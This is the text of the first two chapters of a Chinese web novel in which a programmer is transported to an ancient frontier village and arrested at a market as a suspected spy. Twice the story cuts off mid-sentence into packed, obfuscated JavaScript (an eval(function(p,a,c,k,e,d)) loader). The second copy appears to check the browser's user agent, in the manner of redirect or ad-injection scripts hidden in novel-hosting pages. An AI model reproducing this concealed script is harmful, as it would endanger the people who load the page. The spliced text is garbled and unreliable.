《我在诸天当炮灰[无限流]》 1. 边陲流民 冰冷的土墙渗出的潮气,活像无数根冰针,顺着林越的衣领就往骨头缝里狠命钻。他蜷在稻草堆里,感觉自己像块被捶烂的破布——左脸肿得像个发面馒头,嘴角挂着干巴巴的血痂,稍微动一下,就扯得牙龈直泛酸水;肋骨那儿更是一阵阵钝痛,每喘口气都像有把钝刀子在里头搅和,估摸着是断了两根。 他费力地掀开眼皮,瞅着木栏窗外漏进来的那点微光,心里哀叹道:别人穿越,不是皇子王爷开局,就是系统金手指傍身,再不济也得是个镖局少东家吧?嘿,轮到他,开局就是监狱副本,还附赠免费‘正骨套餐’,这待遇,真是蝎子粑粑——独一份! 他舔了舔干裂的嘴唇,想活动下僵硬的脖子,结果牵动脸上伤口,疼得他龇牙咧嘴直抽冷气。窗外的微光里,几只苍蝇嗡嗡地打转,时不时就落在他伤口上开饭,他却连挥挥手赶走的劲儿都没了。 林越心里哀嚎,早知道穿越这么‘刺激’,当初加班就该摸鱼摸到底,至少能多喘几小时气儿。思绪不受控制地飘回了三天前——那个彻底改写他命运的鬼夜晚。 三天前,林越刚熬完连续十二小时的班,脑袋沉得像灌满了铅。他一头扎进公司楼下的便利店,目标贼明确:关东煮的萝卜、魔芋结、鱼豆腐,外加一根油汪汪的烤肠! 便利店的暖黄灯光打在咕嘟冒泡的关东煮锅上,吸饱了汤汁的萝卜在锅里轻轻晃悠,诱人得紧。林越搓了搓冻僵的手,夹起一块萝卜,啊呜一口咬下去——滚烫鲜香的汤汁在嘴里炸开,浓郁的酱香瞬间冲散了加班的疲惫。 他心里美滋滋地想着,加班到深夜的唯一福利,就是能独享这锅关东煮,不用跟午休时那群饿狼抢食。又夹起一块鱼豆腐,暗自嘀咕:老板要是知道我这么晚还在为公司卖命,是不是该给我报销这顿宵夜?算了,资本家要是懂得体恤员工,母猪都能上树了。 结果刚出店门,烤肠才啃了第一口,眼前猛地天旋地转,耳边呼啦一阵怪风刮过。再睁眼,手里的关东煮还冒着热气儿,脚下却变成了一望无际的滚烫荒漠! 林越愣了两秒,捏了捏发烫的沙子,又摸了摸手里热乎的关东煮,脑子里蹦出个念头:嚯!哪个剧组的沙漠实景?道具组必须加鸡腿啊!还当自己加班加出幻觉了。他甚至对着空气喊了一嗓子:“导演!镜头搁哪儿呢?我演技咋样?给个五星好评呗?”结果回应他的,只有呼呼的风声。 林越这才真慌了。刚才还是冻死人的寒夜,眨眼就变烈日当头的白天?他赶紧掏手机想求救,屏幕却一片雪花——信号全无!导航?连卫星影子都搜不着。四周光秃秃的,连根仙人掌刺都瞧不见,只有连绵起伏的沙丘,在毒日头下泛着刺眼的白光。 他心里一沉,完犊子了,这要是穿越,也得给个新手村吧?直接扔沙漠里,连个NPC都没有,这游戏策划是跟玩家有仇吗?林越不傻,立马觉出不对劲。他强忍着眩晕爬起来,四下张望找参照物。沙丘的轮廓在热浪里扭曲变形,活像海市蜃楼,看得人头晕目眩。 他低头瞅着手里的关东煮,汤汁还在微微晃荡,说明空间转移就发生在刚才那一瞬!穿越小说里的理论在他脑子里飞速闪过——被动传送,大概率有坐标锚点,可这鬼地方,连个方向都辨不清,更别提明显参照物了。手里这份还带温乎气的食物,搞不好就是他眼下唯一的食水来源。他小心翼翼地把烤肠用餐巾纸包好,塞进裤兜,把外套顶在头上挡太阳,双手稳稳端住关东煮。同时打定主意节省体力,顺着风向走。风从西边来,他就深一脚浅一脚地往东跋涉,每一步都陷进滚烫的沙窝里,沙子钻进鞋缝,烫得脚底板生疼。 烈日像个巨大的烤炉,把他身上的T恤烤得滋滋响,汗水刚冒出来就被蒸发,只在衣领留下一圈白花花的盐渍。汗水顺着脖子流进衣领,痒得他想骂娘。林越心里嘀咕,早知道要穿越到沙漠,就该在便利店多买两瓶矿泉水,现在倒好,关东煮的汤都得省着喝,这待遇比公司年会抽奖的三等奖还不如——至少三等奖是个电饭煲,能煮饭。 他咬紧牙关往前挪,鞋底都快给烫穿了,每踩一步都像踏在烧红的铁板上。喉咙干得冒烟,像是有砂纸在里头来回摩擦,只能时不时舔舔干裂的嘴唇,实在忍不住了才嘬一小口关东煮的汤。原本暖胃的汤汁,这会儿成了救命又熬人的甘露,每喝一口都像在割舍最后一点指望,心里盘算着还能撑多久。 林越一边走一边胡思乱想,试图用自嘲来缓解绝望:这要是拍成纪录片,标题就叫《程序员沙漠求生记:从996到沙漠流浪汉的华丽转身》,收视率肯定爆表。沙丘一个接一个,仿佛永远走不到尽头,他的腿像灌了铅,每抬一步都要耗尽全身力气,肌肉酸痛得像是被无数根针扎着。 沙地在脚下延伸,视野里除了黄沙还是黄沙,偶尔有几株枯黄的骆驼刺在热浪中摇曳,像是在嘲笑他的无助。时间变得模糊,不知走了多久,林越只觉得嘴唇干裂出血,眼皮沉重得快要抬不起来。他强迫自己数步子,从一数到一百,再从一百数到一,用这种笨办法保持清醒。 就这么不知走了多久,直到黄昏时分,天色渐暗,温度开始下降,他才瞅见远处一缕若有若无的炊烟!那炊烟简直像根救命稻草,在暮色中袅袅升起,瞬间给他打了鸡血。林越连滚带爬地就朝那方向冲去,心里狂喊:炊烟!有人烟!老天爷终于开眼了,再走不到头,我就要变成沙漠里的木乃伊,千年后被考古学家挖出来,还得被研究‘古代程序员遗骸’,论文标题他都替那些学者想好了:《论信息时代社畜在荒漠环境中的骨骼特征变化》。 炊烟的尽头是个边陲小村,土坯房歪歪扭扭挤在一起,像是随时要倒塌,屋顶上飘着袅袅炊烟,空气里弥漫着柴火和饭食的混合气味。村口老槐树下,几个妇人正纳着鞋底,有一搭没一搭地唠着闲嗑,时不时发出压低的笑声。 林越刚想上前问路,猛地想起自己这身“奇装异服”——短袖T恤、牛仔裤、运动鞋,搁古装剧里绝对活不过三集!他心里咯噔一下,这身打扮过去,人家不当我是妖怪才怪。他赶紧刹住脚,缩到一棵大树后头,贼头贼脑地观察村里动静。村民们穿着粗布麻衣,颜色灰扑扑的,男的要么在田里忙活,要么在院里劈柴,女的在家门口洗衣做饭,整个村子看着倒挺宁静祥和,有种与世隔绝的安逸感。 林越暗自盘算,得先搞身衣服,不然连村口都进不去。他不敢贸然进村,只能猫在草丛里,等天彻底黑透了才摸进去。夜幕降临,村子里点点灯火亮起,狗叫声此起彼伏。他像个小偷似的,蹑手蹑脚在村里转悠,最后盯上了一户人家院里晾着的粗布麻衣。那院子静悄悄的,就一条瘦狗趴在门口打盹,尾巴偶尔扫一下地面。 林越屏住呼吸,心里念叨:对不住了老乡,借你件衣服穿穿,等我发达了,一定十倍奉还。轻手轻脚翻过矮院墙,墙头的土坯硌得手心生疼。伸手就去够衣服,那布料粗糙得很,摸着像是没经过精细处理。眼看就要得手,那瘦狗突然醒了,耳朵竖起,冲着他就是一顿狂吠!林越吓得心差点从嗓子眼蹦出来,抓起衣服撒丫子就跑,瘦狗在后头穷追不舍,吠声在夜空中格外刺耳。他心里叫苦,这狗也太敬业了吧?大半夜的不睡觉,守着一堆破布干嘛?这警觉性比公司楼下保安强多了。 他连滚带爬冲出村子,一头扎进村外的破庙,这才敢大口喘气,胸口剧烈起伏,像是刚跑完马拉松。破庙里漆黑一片,只有月光从破败的屋顶缝隙漏下来,在地上投出斑驳的光影。他把短发用布条胡乱缠成个鸡窝似的发髻,套上偷来的粗布麻衣,布料粗糙磨得皮肤发红,汗臭味直冲鼻子,但总算感觉安全了那么一丁点。林越心想,虽然这衣服一股子汗臭味,穿在身上像披了张砂纸,但总比穿着T恤牛仔裤当靶子强,至少看起来像个本地穷鬼。 他蜷在破庙角落,听着外头的狗吠声渐渐远去,变成遥远的呜咽。破庙里老鼠窸窸窣窣,在黑暗中穿梭,冷风嗖嗖地从墙缝灌进来,吹得他浑身起鸡皮疙瘩。他把剩下的关东煮连汤带水凉透地咽下肚,汤汁已经馊了,带着股酸味,但他不敢浪费。缩在神像残破的衣角边瑟瑟发抖,那神像面目模糊,不知供奉的是哪路神仙。 月光从塌了一半的屋顶漏下来,映在他湿冷的睫毛上,碎成一片银白。远处传来几声狼嚎,悠长而凄厉,在夜风中飘荡。林越缩得更紧了,把破庙里散落的草秆往身前拢了拢,试图制造一点微不足道的温暖。脑中闪过一个自嘲的念头:之前长假被临时加班挤掉的敦煌之旅,倒用这种方式‘补’上了一部分。只是这黄沙漫天的边陲村落,跟他想象中敦煌的瑰丽壁画、飞天彩塑,差了十万八千里——一个是艺术殿堂,一个是生存地狱。 熬过这一夜,林越心里门儿清,在这人生地不熟的地界绝不能乱闯。他只能缩在安全范围里,偶尔溜出去,竖起耳朵、瞪大眼睛,小心翼翼地观察这个新世界的居民,像只警惕的野猫。整整一天,他都在死磕这个村子的语言,发现他们说的话跟普通话有点微妙的不同——“吃饭”叫“恰饭”,“喝水”叫“饮汤”,“睡觉”成了“眠觉”。听着活像某种古老方言的化石,有种别扭的韵律感。 林越还琢磨着,这语言系统还挺有意思,‘恰饭’听着就比‘吃饭’带劲,有种用力咀嚼的实在感;‘饮汤’也比‘喝水’文雅,像是在品茶而不是牛饮。就是不知道‘上厕所’怎么说,总不能叫‘出恭’吧?那也太复古了,像是从明清小说里直接扒出来的。 他注意到,村民们聊天时就用这些词儿,比如他听见有人说:“今天的恰饭真好吃”,“昨天的饮汤有点凉”。说话时声调起伏,有种特别的节奏。他仔细琢磨着这些语言的门道,虽然跟普通话不太一样,但意思基本能猜个八九不离十。林越心里一乐,这绝对是穿越者的隐藏福利!语言通晓技能自动激活了!虽然没给系统提示音,没有那种“叮!获得语言熟练度+1”的机械声,但总比从头学一门外语强,至少不用背单词表。 为了更好融入,林越开始有样学样。看村民爱蹲墙角晒太阳,他也找个阳光好的角落,学人家的姿势蹲着,结果不到五分钟腿就麻得跟过电似的,不得不偷偷换姿势。他心里嘀咕,这姿势看着简单,蹲久了真要命,古代人的腿力都这么好吗?难道从小蹲惯了? 观察挑水汉子走路的架势,汉子们肩挑两桶水,步伐稳健,腰背挺直,他就跟在屁股后头,模仿人家的步态,结果走得歪歪扭扭,差点把自己绊倒。林越甚至学着村民的样子,拿手指头在地上比划,嘴里念念叨叨“恰饭”“饮汤”,盼着能跟村民搭上话,声音小得像蚊子叫。 他不停地练习这些简单词儿,观察村民之间互动的细枝末节,连手势和语调的起伏都一点不放过。林越暗自比较,这比学编程语言难多了,至少编程语言有文档可查,有Stack Overflow可以问,有编译器报错提示。这玩意儿全靠自己悟,错了都不知道错在哪儿,万一说错话,可能就不是编译错误,而是人生错误了。 经过长时间的偷师和苦练,林越终于鼓起勇气,提着在破庙里翻到的破陶罐——罐身有道裂纹,用泥巴糊着,假装去井边打水。他蹲在井沿边,眼巴巴等着路过的妇人。井水清澈,倒映着蓝天白云和他的紧张面容。好不容易瞅见一个,妇人挎着篮子,步履匆匆。林越紧张兮兮地递出陶罐,试探着问:“饮汤否?”心咚咚直跳,快从嗓子眼蹦出来了,手心全是汗。 那妇人先是一愣,停下脚步打量他,随即笑着摆摆手:“小子胡说!饮汤是夜里眠觉前的事!”声音清脆,带着当地口音特有的拐弯。林越强压住心慌,挤出个憨厚的笑,赶紧接话:“恰饭后……饮汤?”妇人点点头,眼里的警惕渐渐散了,还补充道:“白日里喝水就叫喝水,莫要乱说。”林越心里长舒一口气,呼——过关了!看来我的语言天赋还不错,至少没被当成神经病,也没被当成奸细抓起来。 俩人断断续续唠了会儿,妇人说起村里的琐事,谁家娃儿淘气,谁家媳妇手艺好。林越趁机记下更多用语习惯,还有这村子的风俗规矩,比如见了长辈要低头,不能直视;吃饭时不能发出声音;晚上不能随便串门。这一聊,他感觉离真正混进这村子又近了一步,像是打游戏解锁了新地图。他心里记着,原来‘饮汤’特指睡前喝水,白天喝水就叫‘喝水’,这讲究还挺多,像是某种礼仪规范。看来得做个笔记,不然哪天说错话,被人当奸细抓起来就麻烦了,这时代可没有律师保释。 日头慢慢爬到头顶,阳光变得毒辣,林越在跟村民的闲扯中,不动声色地套出了更多消息。他弄明白了,自己脚下的这片地,叫“大炎王朝”或者“大燕王朝”——村民们说法不一,像是口音造成的混淆,眼下待的这个小破村,名叫“黄壤屯”。 这地方在边疆,紧挨着北狄,常年风沙罩顶,天都灰蒙蒙的,像是永远蒙着一层土黄色的薄纱。村民主要靠种点耐旱的庄稼——像是高粱、粟米,和放牧几只瘦羊糊口。地处边境,村里时常有流民来讨饭或换东西,不过最近世道不太平,北狄那边常有骚动,流民少多了。偶尔有商队经过,驼铃声叮当作响,带来的也多是些陈粮旧货,布匹颜色黯淡,但好歹能捎来点外头的新鲜消息,比如哪个州府遭了灾,哪里的盐价又涨了。 林越默默记下这些地理方位,心里开始盘算着,怎么在这陌生地界搞点钱粮。他暗自思量,大炎还是大燕?这俩名字听着都挺霸气,带着烽火硝烟的味道,就是不知道现在是哪个皇帝在位,年号是什么。要是能搞本历史书看看就好了,不过在这穷乡僻壤,估计连识字的人都少,更别提藏书了。当务之急是填饱肚子,然后搞点钱,再慢慢打听怎么回去——如果还能回去的话。这个念头让他心里一沉,但又强行压下去,现在不是伤感的时候。 远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他发现集市入口有守卫在查货,守卫身穿皮甲,腰佩短刀,目光锐利。没带东西的人,压根不让进去做买卖,连靠近都要被盘问。林越心里一紧,这规矩挺严,空手不让进,得带点东西才行。可我除了这身破衣服,就剩个玉坠了,还是现代工艺的,会不会太扎眼?明天就是双日,他必须赶在日头出来前摸到集市中心!趁着夜色,林越在破庙角落里一阵翻找,扒开稻草,在神像底座后找到些碎布条。他把碎布条缠在运动鞋上挡着,又用灰土抹黑了脸颊和手背,装成被风沙吹得灰头土脸的模样,连指甲缝里都塞了泥。他还找了根枯枝当拐杖,用石头磨光滑了握把,假装腿脚不便,好博点守卫的同情分,心想古代人应该也吃这套吧? 林越看着水洼里自己的倒影,水面荡漾,映出一张陌生而憔悴的脸。他心里自嘲,这伪装技术,要是搁现代,都能去横店当群演了,演个难民绝对本色出演。就是这造型太惨了点,跟逃荒的难民似的,头发乱成鸡窝,脸上黑一道白一道。不过也好,越惨越容易让人放松警惕,守卫大概不会对一个瘸腿的穷鬼太较真。 熬到第三天,光喝水已经填不饱咕咕叫的肚子,饿得像有只小老鼠在里头乱窜,胃部一阵阵抽搐。林越感觉这比加班到凌晨三点还难受,至少加班还有外卖可以点,有泡面可以啃,有同事可以吐槽。这里连个外卖小哥都没有,连泡面都是奢望,连吐槽都只能对自己说。他摸了摸怀里的平安扣玉坠,冰凉温润,这是他唯一的家当了。玉坠是老妈去年去旅游时买的,景区特产,说是保平安,没想到真派上用场了——虽然是用它换饭吃,这保平安的方式真是实在。 他深吸一口气,拍了拍身上的灰,尘土飞扬,挺直腰杆,朝着集市走去。心里给自己打气:加油林越,你可是经历过无数bug调试的程序员,通宵改代码眼睛都不眨一下,这点困难算什么?就当是人生这个大程序出了个bug,现在要手动修复它,没有ctrl+z,没有版本回退,只能硬着头皮上。 他美滋滋地盘算着,用玉坠换几个热腾腾的馒头,馒头要刚出锅的,冒着热气;或者一碗香喷喷的热粥,粥要熬得稠稠的,配上咸菜。连怎么跟摊主讨价还价都想好了词儿:先夸玉坠成色好,青翠欲滴,再说这是祖传的宝贝,要不是实在没办法,绝不会拿出来卖,说的时候要配上痛心疾首的表情。要是摊主压价,就说这玉坠有灵性,能保平安,家里老人戴了几十年没病没灾,加价百分之二十不过分吧?反正古代人信这个。 可他没留意到,身后几个村民正用警惕的目光死死盯着他——这个“外来户”走路的架势太怪了!既不像商人那样风风火火,大步流星;也不像流民那样蔫头耷脑,步履蹒跚;而是带着一股说不出的格格不入,步伐均匀,节奏稳定,在这边陲小村里,扎眼得很。一个老农眯着眼睛,心里嘀咕:他那步子,迈得不大不小,每一步都差不多距离,节奏均匀,一看就是常年走平路练出来的,哪像我们这些在沙地里摸爬滚打的人?我们的步子深浅不一,随时要调整平衡。 另一个汉子压低声音对同伴说:还有他那双手,虽然抹了灰,可指节分明,皮肤细嫩,手掌没有老茧,一看就没干过重活,没扛过锄头,没拉过缰绳。说话也怪,虽然学着咱们的腔调,可总带着股别扭劲儿,像是刚学会说话的孩子,每个字都咬得太清楚,反而显得不自然。 最近世道不太平,北狄那边老有动静,保不齐是派来的探子。那汉子眼神阴郁,得盯紧点,要是有什么不对劲,立马报给里正。里正跟驻军的王千户熟,王千户最恨细作,抓住了都是重刑。几个村民互相递了个眼色,微微点头,目光像钩子似的,牢牢钩在林越的背影上,看着他走向集市的方向。 林越对此一无所知,还在心里盘算着怎么用玉坠换到最多的食物。他想着,最好能换到馒头和咸菜,这样能吃两三天,省着点能撑更久。要是能换到点肉就更好了,哪怕是点肉干,补充点蛋白质。不过估计够呛,这地方看着就不富裕,村民们面黄肌瘦的,自家都难得吃上肉。 他走到村口,回头望了一眼破庙的方向,破庙在晨光中只是一个模糊的轮廓。心里计划着,等换了吃的,得找个更安全的地方住,这破庙四面漏风,晚上冻得睡不着,还有老鼠啃脚趾头。要是能租间房子就好了,哪怕是个柴房,至少能遮风挡雨。不过得先有钱,有了钱才能谈其他。 太阳渐渐升高,金光洒在土路上,集市的方向传来嘈杂的人声,吆喝声、讨价还价声、牲畜叫声混成一片。林越加快了脚步,心跳也跟着加速。他摸了摸怀里的玉坠,冰凉贴着温热的皮肤,心里默念:老妈,你这玉坠可要保佑我啊,至少让我换顿饱饭吃,别被当成骗子抓起来。要是能回去,我一定多买几个玉坠供着。 他不知道的是,命运的齿轮已经开始转动,发出嘎吱嘎吱的声响,而他的第一次死亡轮回,正悄然拉开序幕,像一场没有预告的戏剧。在这个陌生的古代世界,他将经历一次又一次的死亡与重生,在痛苦中学习,在绝望中挣扎,而这一切,都从今天这个看似普通的集市日开始,从这枚小小的平安扣玉坠开始。 林越甩甩头,把那些不安的念头抛到脑后,像是甩掉粘在头发上的草屑。心里想着,不管了,先填饱肚子再说。车到山前必有路,船到桥头自然直。我林越什么大风大浪没见过?加班猝死边缘都徘徊过好几次了,有一次连续熬了三天,眼前都出现重影了,不也活下来了?还怕这个? 他挺直腰板,虽然穿着破衣烂衫,但脊梁骨挺得笔直,朝着集市的方向大步走去,背影在晨光中拉得很长,投在黄土路上。身后,那几个村民的目光依旧如影随形,像无形的丝线缠绕着他。而前方,等待他的将是怎样的命运,是饱餐一顿的满足,还是牢狱之灾的痛苦,无人知晓。只有晨风穿过巷子,卷起细沙,打着旋儿,像是某种预示。 2. 市集惊魂 林越蹲在集市门外那条被踩得瓷实的沙土路边角,他那双才三天就磨破皮的手指头,反复摩挲着兜里仅剩的平安扣玉坠。这块玉坠,是他穿越时空的唯一物证,也是他在这个古代世界唯一能拿来换东西的本钱。 晨光熹微,集市大门还未敞开。寒风卷着沙砾在地面打旋儿,将悬赏木牌吹得微微摇晃。林越把包头布巾往下狠狠一拉,遮住大半张脸,只露出一双清冷的眼睛,警惕地扫视四周。守卫腰挎大刀,来回踱步,眼珠子鹰似的扫来扫去,那眼神比公司HR面试时还犀利,就差拿个放大镜对着他照了。 得靠这玉坠换点活命的东西,不然在这人生地不熟的鬼地方,铁定玩完。林越心里门儿清。换吃的,能顶几天饿;换穿的,能扛即将到来的寒气;换工具,说不定还能找份工,在这时代扎下根。每一步选择,都关系着他能不能活下去,得打起十二分精神! 他想起了穿越前的生活,那时的他生活在现代社会,一切需求都能用金钱轻松搞定。而现在,他却得靠一块玉坠来换活命的本钱。这转变真是够讽刺的,以前是钱能解决的问题都不是问题,现在是没钱连问题都解决不了。这转变让他既无奈又莫名兴奋,他猛然意识到,穿越不光是时空旅行,更是对自个儿生存能耐的大考! 林越深吸一口气,“噌”地站起身,拍掉满身的尘土,抬脚就朝市集走去。我要靠这枚平安扣玉坠,在古代闯出一片新天地!虽然这片天地目前看来只有黄沙和破庙,但总比饿死强。 他缓缓起身,拄着枯枝拐杖,一步三晃,故意把步子拖得又沉又飘。装瘸子这招,还是从电视剧里学的,希望别穿帮。这守卫的眼神锐利得像刀,林越能感觉到对方的目光在他身上来回刮擦,试图找出任何可疑之处。 刚到入口,守卫胳膊一横拦住去路,目光落在他头上的破布和抹了灰的手背上。林越压低嗓子,努力模仿昨天听来的本地口音:“求口饭食给家中老娘,就剩这物件能换碗粥了。” 说着,他从怀里摸出那枚平安扣玉坠,温润的光在晨曦里一闪——可惜只是块随处可见的青玉,成色普通,也没啥雕工。守卫眉头一拧,劈手夺过细看,掂量两下,鼻孔里哼出声:“就这破烂货,也想换粮?” 林越低头不语,手指死死抠住拐杖,心里只求这守卫别贪了他唯一的买粮钱,还指望它能找回点零头呢。要是连这点本钱都被黑了,那我真得去喝西北风了。 守卫摩挲着玉坠边沿,粗糙的手指在光滑的表面上停留了片刻,眼神里闪过一丝疑惑。他最终还是“啪”地扔回林越怀里,眼神里多了几分狐疑:“滚那边候着,待会儿再查!” 林越慢慢退到角落,冷汗顺着脊梁骨往下淌。他这才明白,这玉坠虽普通,却是现代机器打磨的玩意儿,边角规矩得不像这个时代的手工活。可这是他唯一能换的东西,就算惹人疑心,也得硬着头皮用。这集市,验货是假,查人才是真! 远处,晨光初露,摊贩们开始支起五颜六色的布棚,炊烟袅袅升起,粥香混在清冽的空气里,直往人鼻子里钻。可这诱人的香气对林越来说,却像画饼充饥。闻着香,吃不着,这比加班时看同事点外卖还折磨人。他攥紧粗糙的拐杖,眼神锐利地盘算着怎么绕过守卫,溜进集市。心提到了嗓子眼,每一步都踩在刀尖上,生怕惊动谁。 集市逐渐热闹起来,更多的商贩推着车、挑着担子来到门口排队。驴子的叫声、车轮碾过沙土的吱嘎声、人们的交谈声混杂在一起,形成一片嘈杂的背景音。林越注意到守卫的注意力开始分散,不时有熟人过来打招呼,或是询问今日的巡查安排。 就在这时,突然,“哇——”一声孩童的尖叫撕裂了清晨! 林越猛抬头,只见一只瘦骨嶙峋的大狗不知何时溜进人群,那狗瘦得肋骨根根分明,皮毛脏污打结,眼睛里却闪着机警的光。它像是被什么气味吸引,竟一口叼走了守卫腰间的令牌!守卫们顿时炸了锅,嗷嗷叫着追狗,人群也因为这突如其来的骚乱乱成一团。 林越嘴角一勾,暗叫天助我也!这正是溜进去的绝佳时机。他“哧溜”一下钻进腾起的沙尘里,沙尘迷了守卫和众人的眼,成了他最好的掩护。这瘦狗简直是神助攻,回头要是能再见到它,一定给它买根骨头——如果我有钱的话。 借着这漫天黄沙,林越猫腰疾冲,指节在沙土路上蹭得火辣辣地疼。但他哪顾得上,反而冲得更快,一个翻滚就钻进了辆粮车底下,缩在阴暗角落里。心咚咚狂跳,和远处孩子的尖叫、守卫的怒骂搅在一起,响得他自己都听得见。这心跳声,比熬夜写代码时的心悸还夸张,再这么跳下去,没被抓住先得心脏病了。 沙尘渐散,守卫们骂骂咧咧追着那瘦狗跑远了。“该死的畜生!”“抓住它!令牌!”“往那边去了!”混乱中,似乎没人留意到林越。他从车底爬出,猫着腰站起身,踮着脚尖,像片羽毛似的,悄无声息地混进了已检查过的人群,溜进了集市。成功了!这波操作,要是搁游戏里,怎么也得给个‘潜行大师’的成就。 集市里闹哄哄的,各种声音搅成一锅粥。叫卖声此起彼伏,商贩们扯着嗓子吆喝:“新到的盐巴!上好的青盐!”“麻布!结实的麻布!”“新鲜野菜,刚从地里摘的!”讨价还价声不绝于耳,买卖双方斗智斗勇:“太贵了,再便宜两个铜板。”“哎哟,我这可是本钱价了,不能再低了。”骡马不时嘶鸣,在人群中穿梭,给这繁忙的市集添了几分活气。 空气里混杂着劣质麻布的霉味、牲口粪便的酸臭、汗水的咸腥,远处铁匠铺还传来火星“噼啪”爆裂的声响,夹杂着铁锤敲打铁砧的“铛铛”声——这一切都在提醒林越,这里和他熟悉的21世纪,完全是两个世界! 这味道,比公司楼下那家烧烤摊还冲,至少烧烤摊的烟是香的,这儿的烟是呛的。林越忍不住咳嗽了几声,用破布捂住口鼻。 “咕噜——”林越的肚子不争气地叫起来,臊得他脸颊发烫。他东张西望,寻找能填饱肚子的地方。街角那个冒着腾腾白汽的馒头铺吸引了他,蒸笼里的粗粮馒头被热气熏得油亮,表皮泛着诱人的黄褐色,馋得人直咽口水。 林越深吸一口气,强打精神挺直腰板——好歹是个受过现代教育的成年人,得用‘文明’的法子解决温饱!虽然这‘文明’可能跟我想的不太一样。 他走向馒头铺,努力模仿昨天听来的本地腔,指着最便宜的粗粮小饼,尽量放平语气:“劳驾,这个……”他试图压住声音里的急切,可肚子的抗议声实在藏不住。这肚子也太不争气了,关键时刻掉链子,跟那些关键时刻宕机的服务器一个德行。林越清楚,在这陌生地界,他得学会适应,学会用这里的法子活下去。 摊主是个满脸沟壑的老汉,皱纹深得能夹死蚊子。他正用那条灰黑油腻的围裙使劲擦手,听到声音,抬起浑浊的老眼,上下打量着眼前这年轻人。 林越心里“咯噔”一下——他的‘通用语’好像不太灵光。本想用简单词儿交流,可‘多钱?’俩字刚蹦出口,他就知道坏菜了!他想问的是这小饼的价钱,可显然,发音和用词都跑偏了。这感觉就像写代码时把‘==’写成了‘=’,bug虽小,后果严重。 老汉脸上的褶子“唰”地绷紧了,像被冰水激过的面团。周围原本喧闹的讨价还价声戛然而止,几个挑菜筐的农妇停下脚,眼神像针一样扎在他背上,满是警惕和不解。 完了完了,这表情,比项目经理看到bug报告时还难看。 “尔说啥?!”老汉嗓门陡然拔高,带着怒气和紧绷,“哐当”一声,手里的柄勺狠狠砸在破案板上。 林越慌忙摆手:“我是问……这小饼,要付多少……钱?”他放慢语速,把“多少”咬得特别重,指望老汉能懂。这感觉就像跟外国客户开视频会议,明明说的是英语,对方就是听不懂,急得你想用手比划。可他自己都没留意,说“钱”字时,那短促的入声又冒了出来。 人群开始骚动,一个扎双丫髻的小姑娘躲到娘亲身后,偷偷指着他露出的靴子——那双从现代穿来的运动鞋,因刚才贴地摩擦,从破布里钻出来,在满眼布鞋草鞋的市集里,活像块扎眼的补丁。小姑娘眼里满是好奇,大人们却迅速被不安笼罩,原本喧闹的集市瞬间静得能听见针掉地。 糟了!鞋子露馅了!这破布条怎么这么不结实,关键时刻掉链子。 林越后颈的汗毛“唰”地全立起来了!他猛地想起昨天听到的闲话:王朝和北狄已打了仨月仗,边境细作最近常出没,大伙儿都瞪着眼,指望抓一个换赏钱呢! “抓奸细啊!”不知谁吼了一嗓子,声音尖锐刺耳。 松散的人群“呼啦”一下围成了铁桶!四面八方都是人,有提着菜篮的妇人,有扛着扁担的汉子,有拄着拐杖的老人,所有人的眼睛都死死盯着他,眼神里混合着愤怒、恐惧和一丝猎获的兴奋。 这下玩脱了,本来只想买个馒头,结果被当成间谍了。这剧情发展,比公司那个不靠谱的产品经理设计的用户流程还离谱。 林越眼睁睁看着几个穿短打的汉子从不同方向包抄过来,腰间的皮刀鞘随着奔跑“砰砰”作响。他想解释,想掏出平安扣玉坠证明自己只是个想换口饭吃的可怜人,可喉咙像被死死掐住,发不出半点声音。嘴巴张开又闭上,像离水的鱼。 “砰!”一根水火棍狠狠砸在他腿弯,力道大得让他眼前一黑。 林越“扑通”一声,膝盖重重砸进沙地里!粗糙的沙砾硌得生疼,他能感觉到有碎石嵌进了皮肉里,火辣辣的疼顺着神经往上窜。 疼疼疼!这下手也太狠了,我膝盖又不是铁打的。 他抬头看见老汉那张扭曲的脸,皱纹因为愤怒而挤在一起,像干裂的土地:“狗娘养的北狄探子!敢在老子地盘撒野!”唾沫星子带着劣质烟草的辛辣味喷了他一脸。 这老汉看着瘦,力气倒不小,唾沫星子跟下雨似的。 混乱中有人撕扯他的衣领,布料发出“刺啦”的撕裂声;有人猛踹他的腰,肋骨传来一阵闷痛。林越虾米似的弓起背,双手护住头部,听见越来越近的铜锣声——那是衙役出巡的动静! “铛!铛!铛!”铜锣声由远及近,每一声都敲在他的心脏上。 这铜锣声,比公司的下班铃声还刺耳,关键是这声音来了我就走不了了。他猛然想起穿越前看的历史剧,那些被当成奸细的倒霉蛋,最轻也是流放三千里!发配到边疆做苦役,在矿洞里累死,在战场上当炮灰,能活过一年的都是奇迹。 “住手!”两个穿皂色公服的衙役分开人群,手里的铁叉在阳光下闪着寒光,晃得人眼晕。领头的衙役歪戴着帽子,三角眼扫过林越,目光像刀子一样在他身上刮过:“哪蹦出来的野小子?敢在黄壤屯闹腾?” 这衙役长得跟电视剧里的反派似的,就差在脸上写‘我是坏人’了。林越刚要张嘴辩解,老汉“噗通”跪倒在地,膝盖砸起一小团尘土,抢着喊:“官爷明鉴!这小子刚才说‘多钱’!是北狄人的黑话啊!” 什么黑话?那是普通话!虽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他被两个衙役架着穿过市集,一左一右,胳膊被扭到身后,姿势别扭又疼痛。背后是无数道鄙夷的冷箭——那些目光像针一样扎在背上,有老人摇头叹息,有妇人指指点点,有孩子被大人捂住眼睛不让他们看。阳光透过雕花窗棂,在地上投下斑驳的光影,像张巨大的网把他死死罩住。 “带走!”随着衙役一声断喝,林越被搡进一辆破囚车。 囚车是用粗糙的木板钉成的,缝隙很大,能看到外面的景象。车厢里铺着一层薄薄的稻草,已经发黑发霉,散发出一股馊味。林越踉跄着摔进去,手掌按在稻草上,感觉到潮湿和黏腻。 这囚车比公司那辆破班车还颠,至少班车有座位,这玩意儿连个垫子都没有。 